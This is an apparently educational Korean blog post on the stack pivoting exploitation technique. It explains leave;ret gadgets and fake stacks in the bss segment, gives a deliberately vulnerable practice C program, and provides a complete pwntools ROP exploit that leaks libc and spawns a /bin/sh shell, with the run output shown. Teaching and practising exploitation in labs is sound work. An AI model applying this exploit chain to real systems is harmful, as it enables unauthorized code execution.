Stack pivoting

Sisyphus·2022년 9월 13일
0

System Hacking - ELF 64

목록 보기
4/5
post-custom-banner

stack pivoting

특정 중심점을 기준으로 스택이 아니었던 공간을 스택 영역인 것처럼 사용하는 기법입니다. 이 기법을 통해 익스플로잇을 하기 위한 공간이 부족할 때 새로운 스택 영역을 확보할 수 있습니다.

기존의 스택을 리얼 스택이라고 하고 새롭게 확보된 영역을 페이크 스택이라합니다. fake stack을 위한 공간으로는 보통 bss+0x300 영역을 사용하고 체이닝을 할때 마다 0x100씩 더해서 새로운 공간을 만들어 줍니다.
가젯은 RSP 레지스터의 값을 변조할 수 있는 가젯을 사용합니다.



가젯

add esp, offset; retmov esp, register; ret
sub esp, offset; retleave; ret
call registermov register, [ebp+0c]; call retgister
push register; pop esp; retmov reg, dword ptr fs:[0]; ...; ret
xchg register, esp; ret

여러 가젯들이 있는데 이중 보통 leave; ret; 가젯을 사용합니다.



익스플로잇 과정

  1. SFP에는 fake stack, RET에는 read@plt, 그 아래에는 leave-ret 가젯으로 스택을 구성합니다.
  2. 에필로그에서 leave 명령이 수행되면 RBP는 fake stack1의 바닥을 가리키게 되고 RSP는 read@plt를 가리키게 됩니다.
  3. 에필로그에서 RET 명령이 수행되면 read 함수가 실행되게 되어 fake stack에 입력을 받게 됩니다.

  1. leave 명령어가 실행되면 RSP는 fake stack1의 RBP 밑의 명령어를 가리키게 되고 RBP는 fake stack2의 바닥을 가리키게 됩니다.

  1. 이후 쭉 명령어가 실행되다가 read 함수가 실행되면 fake stack2에 입력을 받게 됩니다.

  1. fake stack1의 leave 명령어가 실행되면 RSP가 fake stack
    의 바닥을 가리키게 되고 이후 RET 명령이 실행 되게 되면 그 이후에 있는 명령들을 실행하게 됩니다.

  1. 최종적으로 system("/bin/sh") 명령이 실행되면 쉘이 뜨게 됩니다.


실습 코드

#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>

int loop = 0;

int main(void)
{
        char buf[0x30];

        setvbuf(stdin, 0, 2, 0);
        setvbuf(stdout, 0, 2, 0);
        setvbuf(stderr, 0, 2, 0);

        if (loop)
        {
                puts("bye");
                exit(-1);
        }
        loop = 1;

        read(0, buf, 0x70);

        return 0;
}


익스플로잇 코드

from pwn import *

def slog(name, addr):
        return success(": ".join([name, hex(addr)]))


p = process('./source')
e = ELF('./source')
libc = e.libc
r = ROP(e)

#gdb.attach(p)
#context.log_level='debug'

read_plt = e.plt['read']
puts_plt = e.plt['puts']
read_got = e.got['read']
bss = e.bss()

read_offset = libc.symbols['read']
system_offset = libc.symbols['system']
binsh_offset = list(libc.search(b"/bin/sh"))[0]

leave_ret = r.find_gadget(['leave', 'ret'])[0]
ret = r.find_gadget(['ret'])[0]
pop_rdi = r.find_gadget(['pop rdi', 'ret'])[0]
pop_rsi_r15 = r.find_gadget(['pop rsi', 'pop r15', 'ret'])[0]


payload = b'A' * 0x30
payload += p64(bss + 0x300)
payload += p64(pop_rdi) + p64(0)
payload += p64(pop_rsi_r15) + p64(bss+0x300) + p64(0)
payload += p64(read_plt)
payload += p64(leave_ret)

p.send(payload)


payload = p64(bss+0x400)
payload += p64(pop_rdi) + p64(read_got)
payload += p64(puts_plt)
payload += p64(pop_rdi) + p64(0)
payload += p64(pop_rsi_r15) + p64(bss+0x400) + p64(0)
payload += p64(read_plt)
payload += p64(leave_ret)

p.send(payload)

read = u64(p.recvn(6)+b'\x00'*2)
lb = read - read_offset
system = lb + system_offset
binsh = lb + binsh_offset

slog("read", read)
slog("libc base", lb)
slog("system", system)
slog("/bin/sh", binsh)


payload = p64(0)
payload += p64(ret)
payload += p64(pop_rdi)
payload += p64(binsh)
payload += p64(system)

p.send(payload)

p.interactive()


익스플로잇

$ python3 exploit.py
[+] Starting local process './source': pid 489
[*] '/home/ion/wargame/stack_pivot/source'
    Arch:     amd64-64-little
    RELRO:    Full RELRO
    Stack:    No canary found
    NX:       NX enabled
    PIE:      No PIE (0x400000)
[*] '/lib/x86_64-linux-gnu/libc-2.27.so'
    Arch:     amd64-64-little
    RELRO:    Partial RELRO
    Stack:    Canary found
    NX:       NX enabled
    PIE:      PIE enabled
[*] Loaded 14 cached gadgets for './source'
[+] read: 0x7f179b647020
[+] libc base: 0x7f179b537000
[+] system: 0x7f179b586420
[+] /bin/sh: 0x7f179b6ead88
[*] Switching to interactive mode

$ ls
core  exploit.py  exploit2.py  source  source.c
post-custom-banner

0개의 댓글